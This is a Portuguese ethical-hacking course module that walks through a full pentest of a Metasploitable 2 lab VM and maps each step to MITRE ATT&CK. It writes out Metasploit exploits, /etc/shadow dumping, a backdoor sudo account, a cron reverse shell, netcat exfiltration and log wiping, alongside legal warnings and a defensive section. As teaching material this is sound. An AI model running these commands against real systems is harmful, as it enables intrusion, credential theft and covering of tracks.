Juntando Tudo (745)

Do Início ao Fim

Aqui reunimos exemplos completos de hacking ético, passando por todas as etapas de um pentest, do reconhecimento ao relatório final. Este é o módulo de síntese da disciplina: tudo que foi aprendido separadamente é aqui aplicado em cadeia, contra um alvo de laboratório autorizado.

Lei 12.737/2012, Art. 154-A (Invasão de Dispositivo Informático)

Realizar qualquer das técnicas desta aula contra sistemas sem autorização expressa é crime federal, punível com reclusão de 1 a 4 anos. Todo o conteúdo desta aula destina-se exclusivamente a ambientes de laboratório controlado: HTB, TryHackMe, Metasploitable, DVWA, VMs próprias. Nunca contra terceiros.


🗺️ Metodologias de Referência (2026)

Padrões da Indústria

Em 2026, o mercado converge para três frameworks complementares que um pentester profissional deve dominar:

FrameworkFocoQuando usar
PTES (Penetration Testing Execution Standard)Processo completo, do contrato ao relatórioEstruturar o engajamento inteiro
MITRE ATT&CK v15+Catálogo de TTPs (Táticas, Técnicas, Procedimentos) mapeados a adversários reaisDocumentar e reportar cada técnica utilizada
Cyber Kill Chain (Lockheed Martin)Cadeia linear de 7 etapas do adversárioEntender e quebrar o ataque sob a ótica defensiva

O PTES define como rodar o pentest. O ATT&CK define o que nomear cada ação. O Kill Chain define onde defender. Os três são usados juntos no relatório profissional.

PTES: 7 Fases do Engajamento

  1. Pre-engagement: escopo, autorização, regras de engajamento, NDA, cronograma
  2. Intelligence Gathering (Recon): passivo e ativo, OSINT, mapeamento de superfície
  3. Threat Modeling: identificar ativos críticos e vetores mais prováveis de ataque
  4. Vulnerability Analysis: scan automatizado e análise manual de falhas
  5. Exploitation: demonstrar impacto real, não apenas teórico
  6. Post-Exploitation: mover lateralmente, escalar privilégios, coletar evidências
  7. Reporting: relato executivo + técnico, CVSS, recomendações

Cyber Kill Chain: 7 Elos

  1. Reconnaissance: coleta de informação sobre o alvo
  2. Weaponization: criação/adaptação do exploit ou payload
  3. Delivery: entrega do payload (e-mail, upload, exploit remoto)
  4. Exploitation: execução do código malicioso
  5. Installation: persistência no sistema comprometido
  6. Command & Control (C2): canal de comunicação com o atacante
  7. Actions on Objectives: exfiltração, ransomware, destruição

🎯 Fases de um Pentest

Metodologia Completa

1. Reconhecimento
      ↓
2. Escaneamento
      ↓
3. Exploração
      ↓
4. Pós-exploração
      ↓
5. Documentação

📋 Checklist Geral

Verificação por Fase

1. Reconhecimento

  • WHOIS do domínio
  • DNS enumeration
  • Google dorking
  • OSINT (redes sociais, vazamentos)
  • Identificar tecnologias (Wappalyzer)

2. Escaneamento

  • Nmap: descoberta de hosts
  • Nmap: scan de portas
  • Nmap: detecção de serviços
  • Scan de vulnerabilidades (Nessus, OpenVAS)
  • Web scanning (nikto, gobuster)

3. Exploração

  • Pesquisar exploits (Exploit-DB, Metasploit)
  • Testar vulnerabilidades encontradas
  • Obter acesso inicial
  • Documentar evidências

4. Pós-exploração

  • Escalação de privilégios
  • Movimentação lateral
  • Coleta de dados sensíveis
  • Persistência (se autorizado)

5. Documentação

  • Compilar evidências
  • Classificar vulnerabilidades (CVSS)
  • Escrever relatório
  • Apresentar resultados

🔗 Cadeia Completa: Kill Chain x MITRE ATT&CK

Diagrama de Fluxo: da Recon ao Report

flowchart TD
    A["🔍 Reconhecimento<br/>(Kill Chain: Recon)<br/>TA0043 - Reconnaissance"] --> B["⚙️ Weaponização<br/>(Kill Chain: Weaponization)<br/>TA0042 - Resource Development"]
    B --> C["📡 Escaneamento<br/>(Kill Chain: Delivery prep)<br/>TA0007 - Discovery"]
    C --> D["💥 Exploração / Acesso Inicial<br/>(Kill Chain: Exploitation + Delivery)<br/>TA0001 - Initial Access"]
    D --> E["🔑 Escalada de Privilégios<br/>(Kill Chain: Installation)<br/>TA0004 - Privilege Escalation"]
    E --> F["🛡️ Evasão de Defesas<br/>(Kill Chain: Installation)<br/>TA0005 - Defense Evasion"]
    F --> G["🔄 Movimentação Lateral<br/>(Kill Chain: C2 + Actions)<br/>TA0008 - Lateral Movement"]
    G --> H["📦 Coleta e Exfiltração<br/>(Kill Chain: Actions on Obj.)<br/>TA0009 + TA0010"]
    H --> I["📌 Persistência<br/>(Kill Chain: Installation)<br/>TA0003 - Persistence"]
    I --> J["📄 Relatório<br/>CVSS + Evidências + Remediação"]

Tabela de Mapeamento: Fase x ATT&CK x Ferramentas (2026)

Fase do PentestTática ATT&CKIDTécnicas ComunsFerramentas
Reconhecimento passivoReconnaissanceTA0043T1596 (Search Open Tech DBs), T1593 (Search Social Media)theHarvester, Shodan, Maltego, recon-ng
Reconhecimento ativoDiscoveryTA0007T1046 (Network Service Scan), T1083 (File/Dir Discovery)Nmap, Masscan, Gobuster, Nikto
Acesso inicialInitial AccessTA0001T1190 (Exploit Public-Facing App), T1078 (Valid Accounts)Metasploit, SQLmap, Hydra
ExecuçãoExecutionTA0002T1059 (Command/Script Interpreter), T1203 (Exploitation)Metasploit, Netcat, MSFvenom
PersistênciaPersistenceTA0003T1136 (Create Account), T1053 (Scheduled Task/Job)Cron, useradd, backdoors
Escalada de privilégiosPrivilege EscalationTA0004T1068 (Exploit Vuln.), T1548 (Abuse Elevation Control)LinPEAS, GTFOBins, Kernel exploits
Evasão de defesasDefense EvasionTA0005T1070 (Indicator Removal), T1027 (Obfuscation)Logs clearing, encoding
Acesso a credenciaisCredential AccessTA0006T1003 (OS Credential Dump), T1110 (Brute Force)Mimikatz, John, Hashcat
Movimentação lateralLateral MovementTA0008T1021 (Remote Services), T1550 (Use Alt Auth Material)SSH, RDP, Pass-the-Hash
ExfiltraçãoExfiltrationTA0010T1041 (Exfil Over C2), T1048 (Exfil via Alt Protocol)Netcat, curl, SCP
RelatórioN/AN/ACVSS 4.0, Evidências, RemediaçãoDradis, Serpico, Word, Markdown

🧭 Walkthrough End-to-End: Metasploitable 2 no Lab

Ambiente Autorizado Obrigatório

Execute este walkthrough somente contra a VM Metasploitable 2 rodando na sua rede local de lab. IP do alvo nunca será um sistema de terceiros. Configure a VM em modo “Host-Only” ou “Internal Network” no VirtualBox/VMware.

Este walkthrough percorre a cadeia completa de ataque contra o Metasploitable 2, com cada comando mapeado ao ATT&CK. Veja os detalhes de cada fase nas aulas correspondentes: Coleta de informações, Escaneamento de IPs e portas (Port Scanning), Mapeamento de vulnerabilidades, Exploração do alvo, Escalonamento de privilégios, Manutenção do acesso, Apagando rastros, Documentação Report.


Fase 1: Recon (TA0043, TA0007)

Objetivo: mapear o alvo, descobrir serviços e versões.

# Descoberta de host na rede local de lab
nmap -sn 192.168.56.0/24
 
# Scan completo de portas com detecção de versão e scripts padrão
nmap -sC -sV -O -p- --open 192.168.56.101 -oA metasploitable_full
 
# Alternativa rápida (top 1000 portas)
nmap -sV -sC -T4 192.168.56.101
 
# Verificar serviços web
nikto -h http://192.168.56.101
 
# Enumerar diretórios web
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Resultado esperado: portas abertas incluindo 21 (vsftpd 2.3.4), 22 (SSH), 23 (Telnet), 25 (SMTP), 80 (Apache), 445 (Samba 3.x), 3306 (MySQL), 5432 (PostgreSQL), 6667 (UnrealIRCd), 8180 (Tomcat).

ATT&CK mapeado: T1046 (Network Service Scanning), T1592 (Gather Victim Host Information).


Fase 2: Análise de Vulnerabilidades (TA0007)

# Verificar vsftpd 2.3.4 (backdoor conhecida)
searchsploit vsftpd 2.3.4
 
# Verificar UnrealIRCd (backdoor)
searchsploit UnrealIRCd
 
# Verificar Samba (MS-RPC exploitável)
searchsploit samba 3.
 
# Enumeração SMB detalhada
enum4linux -a 192.168.56.101
 
# Verificar credenciais padrão Tomcat
curl -u tomcat:tomcat http://192.168.56.101:8180/manager/html

ATT&CK mapeado: T1595 (Active Scanning), T1190 (Exploit Public-Facing Application).


Fase 3: Exploração, Acesso Inicial (TA0001, TA0002)

Vetor 1: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
set RPORT 21
run
# Shell obtida como root diretamente
id
# uid=0(root) gid=0(root)

ATT&CK: T1190 (Exploit Public-Facing App), T1059.004 (Unix Shell).


Vetor 2: UnrealIRCd Backdoor (CVE-2010-2075)

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.101
set RPORT 6667
run
# Shell como daemon; precisa privesc

Vetor 3: Tomcat Manager Upload (CVE war-upload)

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.56.101
set RPORT 8180
set HttpUsername tomcat
set HttpPassword tomcat
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <ip-kali>
run
# Sessão Meterpreter obtida

ATT&CK: T1078 (Valid Accounts, credenciais padrão), T1505.003 (Web Shell via WAR).


Vetor 4: Samba MS-RPC (usermap_script, CVE-2007-2447)

use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.101
run
# Root shell imediata

Fase 4: Pós-exploração, Escalada de Privilégios (TA0004, TA0006)

Após sessão Meterpreter (Tomcat, não-root):

# Coletar informações do sistema
sysinfo
getuid
 
# Tentar escalada local
getsystem
 
# Se falhar, usar sugestão de exploit
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
 
# Dump de hashes (requer root ou equivalente)
use post/linux/gather/hashdump
set SESSION 1
run

No shell Unix (pós vsftpd, já root):

# Confirmar acesso root
id && whoami && hostname
 
# Coletar /etc/shadow (credenciais)
cat /etc/shadow
 
# Listar processos e conexões
ps aux
netstat -antp
 
# Verificar arquivos SUID (vetor de escalada)
find / -perm -u=s -type f 2>/dev/null

ATT&CK: T1003 (OS Credential Dumping), T1548.001 (SUID/SGID), T1087 (Account Discovery).


Fase 5: Persistência (TA0003)

# Adicionar chave SSH autorizada (autorizado no lab)
mkdir -p /root/.ssh
echo "<sua-chave-publica>" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
 
# Criar conta backdoor de lab
useradd -m -s /bin/bash labbackdoor
echo "labbackdoor:senha123" | chpasswd
usermod -aG sudo labbackdoor
 
# Cron job de persistência (lab)
echo "* * * * * /bin/bash -i >& /dev/tcp/<ip-kali>/4444 0>&1" | crontab -

ATT&CK: T1098 (Account Manipulation), T1053.003 (Cron), T1136 (Create Account).

Persistência em Lab

Estas técnicas são demonstradas somente em lab. Persistência em sistemas sem autorização é crime (Art. 154-A, §4º: pena aumentada se cometida contra infraestrutura crítica).


Fase 6: Coleta de Evidências e Exfiltração Simulada (TA0009, TA0010)

# Coletar arquivos sensíveis (demonstração lab)
cat /etc/passwd
cat /etc/shadow
ls /home/
 
# Simular exfiltração via netcat (lab)
# No Kali:
nc -lvp 9001 > evidence.txt
# No alvo:
cat /etc/shadow | nc <ip-kali> 9001
 
# Timestamps para relatório
date && uname -a && ip addr

ATT&CK: T1005 (Data from Local System), T1041 (Exfiltration Over C2 Channel).


Fase 7: Apagar Rastros (TA0005)

# Limpar logs de autenticação (lab: demonstração)
> /var/log/auth.log
> /var/log/syslog
 
# Remover entradas do bash history
history -c
unset HISTFILE
 
# Remover conta de lab criada
userdel -r labbackdoor
crontab -r

ATT&CK: T1070.002 (Clear Linux/Mac System Logs), T1070.003 (Clear Command History).


Fase 8: Mini-Relatório do Engajamento

Modelo de Relatório Executivo (Lab)

Engajamento: Pentest Metasploitable 2, Lab Interno IFF Data: 2026-06-17 Scope: 192.168.56.101 (Metasploitable 2, rede Host-Only) Autorização: Ambiente de laboratório controlado, disciplina Segurança da Informação IFF

Sumário Executivo: Foram identificadas e exploradas 4 vulnerabilidades críticas no alvo de laboratório. O acesso root foi obtido por múltiplos vetores, demonstrando postura de segurança inadequada para qualquer ambiente de produção.

Vulnerabilidades Críticas (CVSS 9.0-10.0):

#CVEServiçoCVSSImpactoRemediação
1CVE-2011-2523vsftpd 2.3.410.0RCE como rootAtualizar vsftpd para versão sem backdoor
2CVE-2010-2075UnrealIRCd 3.2.8.19.8RCERemover ou atualizar o serviço
3CVE-2007-2447Samba 3.x9.3RCE como rootAtualizar Samba, desabilitar usermap
4N/ATomcat Manager9.0RCE via WAR uploadAlterar credenciais padrão, restringir acesso

Linha do Tempo do Ataque:

00:00 - Início do scan Nmap
00:03 - Identificação de vsftpd 2.3.4
00:05 - Exploração vsftpd: shell root obtida
00:08 - Dump de /etc/shadow
00:12 - Exploração Tomcat: sessão Meterpreter
00:18 - Persistência instalada (cron + conta lab)
00:22 - Evidências coletadas
00:25 - Rastros apagados
00:27 - Relatório iniciado

Próximos Passos (Recomendações):

  1. Atualizar todos os serviços identificados com CVEs críticos
  2. Remover serviços não necessários (Telnet, IRC)
  3. Implementar política de senhas fortes para credenciais de administração web
  4. Habilitar firewall e restringir portas expostas
  5. Implementar monitoramento de logs (SIEM)

🎮 Plataformas para Prática

Ambientes Seguros

PlataformaDescriçãoCusto
TryHackMeRooms guiados para iniciantes e intermediáriosGratuito/Pago
HackTheBoxMáquinas CTF e labs profissionaisGratuito/Pago
VulnHubVMs vulneráveis para download localGratuito
DVWAAplicação web vulnerável para web hackingGratuito
Metasploitable 2/3VM Linux com dezenas de vulnerabilidades conhecidasGratuito
OWASP WebGoatAplicação para aprender segurança webGratuito
PentesterLabExercícios práticos de web e bináriosGratuito/Pago

📚 Exemplos de Walkthroughs

Recursos para Estudo

Esta seção é complementada pelo walkthrough end-to-end desta aula.

MáquinaPlataformaDificuldadeTécnicas
Basic PentestingTryHackMeFácilNmap, Gobuster, SSH privesc, Brute-force
Metasploitable 2Local/VulnHubFácil/MédioMetasploit, CVEs clássicos, Samba, vsftpd
Mr. RobotTryHackMe/VulnHubMédioWordPress enum, privesc, brute force
BlueHackTheBoxFácilEternalBlue (MS17-010), Meterpreter

🧪 Atividades Mão-na-Massa

🧪 Atividade 1: Comprometer uma máquina do TryHackMe do Recon ao Root

Plataforma: TryHackMe (room “Basic Pentesting” ou “Mr. Robot”) Objetivo: Comprometer a máquina inteira (obter root/SYSTEM) e documentar a Kill Chain completa.

Passos obrigatórios:

  1. Crie conta no TryHackMe (gratuito) e acesse a room indicada
  2. Conecte-se via OpenVPN (arquivo .ovpn disponível no TryHackMe)
  3. Execute o recon inicial com nmap -sC -sV -T4 <ip-alvo>
  4. Enumere diretórios web com gobuster dir -u http://<ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  5. Identifique o vetor de entrada e execute a exploração
  6. Escale privilégios até root (sudo -l, SUID binaries via find / -perm -u=s 2>/dev/null)
  7. Capture o flag de root (/root/root.txt ou equivalente)

Resultado esperado:

  • Print do id mostrando uid=0(root) ou flag capturado
  • Cada comando executado registrado com timestamp
  • Tabela preenchida: Fase, Ferramenta, Comando, Resultado, ATT&CK ID
  • Mini-relatório de 1 página seguindo o modelo desta aula

Entregável: documento .md ou .pdf com a cadeia de ataque documentada, do primeiro comando Nmap ao flag de root, com pelo menos 3 técnicas ATT&CK mapeadas.


🧪 Atividade 2: Pentest no Metasploitable 2 com Mapeamento ATT&CK Completo

Plataforma: Metasploitable 2 local (VirtualBox, rede Host-Only) Objetivo: Refazer o ataque descrito no walkthrough desta aula e escrever o mini-relatório completo do engajamento.

Passos obrigatórios:

  1. Configure o Metasploitable 2 em VirtualBox, rede “Host-Only”
  2. Confirme o IP da VM com nmap -sn <sua-rede>/24 no Kali
  3. Execute as Fases 1 a 7 do walkthrough desta aula em sequência
  4. Para cada exploit executado, registre: nome da vulnerabilidade, CVE, comando exato, output obtido, tática ATT&CK, técnica ATT&CK
  5. Preencha a tabela de vulnerabilidades do modelo de relatório
  6. Escreva o relatório executivo completo (mínimo: sumário, tabela de vulns, linha do tempo, recomendações)

Resultado esperado:

  • Mínimo 3 vetores de comprometimento executados e documentados
  • Relatório com pelo menos 4 vulnerabilidades CVSS ≥ 9.0 listadas
  • Seção de recomendações com uma contramedida específica por vulnerabilidade
  • Evidências (prints/outputs) de cada fase

Entregável: relatório de pentest no formato profissional (.pdf ou .md), mínimo 3 páginas, incluindo tabela ATT&CK, linha do tempo e recomendações.


🛡️ Visão Defensiva: Onde Quebrar a Kill Chain

Defesa em Profundidade

Cada elo da Kill Chain pode ser interrompido com controles defensivos específicos. Um Blue Team experiente coloca camadas em múltiplos pontos para garantir que, mesmo que um controle falhe, o ataque seja detectado antes dos objetivos finais.

Elo da Kill ChainComo o Atacante AvançaComo o Defensor Quebra
ReconnaissanceVarredura de portas, OSINT, ShodanMinimizar superfície pública; alertas Shodan; honeypots
WeaponizationCriação de payload MSF, exploit customizadoThreat Intelligence: IOCs de novos exploits; CVE patching rápido
DeliveryUpload de arquivo, exploit remoto, e-mail de phishingWAF, IPS, filtro de e-mail, restrição de uploads
ExploitationExecução do exploit (ex: vsftpd backdoor)Patch management; EDR; remover serviços desnecessários
InstallationCron malicioso, conta backdoor, chave SSHAuditoria de contas/cron; AIDE (file integrity); auditd
Command & ControlReverse shell, Meterpreter, IRC botsFirewall de saída (egress filtering); DPI; bloqueio de portas não padrão
Actions on ObjectivesDump de /etc/shadow, exfiltração de dadosDLP; alertas de acesso a arquivos sensíveis; segmentação de rede

Ferramentas Defensivas por Elo

  • Recon: Shodan alerts, Censys monitoring, passive DNS
  • Exploitation: Snort/Suricata (IDS/IPS), Wazuh, OSSEC
  • Installation/Persistência: AIDE, Auditd, Osquery, Tripwire
  • C2: Zeek (Bro), Pi-hole, pfSense com IDS inline
  • Exfiltração: Suricata DPI, NetFlow analysis, Wireshark alerts

Insight

O custo de defesa é assimétrico: um atacante precisa acertar em apenas um elo. O defensor precisa cobrir todos. Por isso, defesa em profundidade combinada com monitoramento contínuo (SIEM, SOC) é a abordagem recomendada pela NIST SP 800-61 e pelo MITRE D3FEND.


⚠️ Lembrete Importante

Atenção

  • Pratique apenas em ambientes autorizados (art. 154-A: pena de 1 a 4 anos)
  • Documente tudo durante o processo (evidências são a entrega principal)
  • Use VPN ao acessar plataformas de prática (TryHackMe, HTB exigem)
  • Mantenha suas ferramentas atualizadas (Kali Rolling: sudo apt update && sudo apt upgrade)
  • Obtenha autorização por escrito antes de qualquer teste em ambiente real
  • Em caso de dúvida sobre legalidade: não execute. Consulte o art. 154-A e o escopo contratual

📚 Fontes (2026)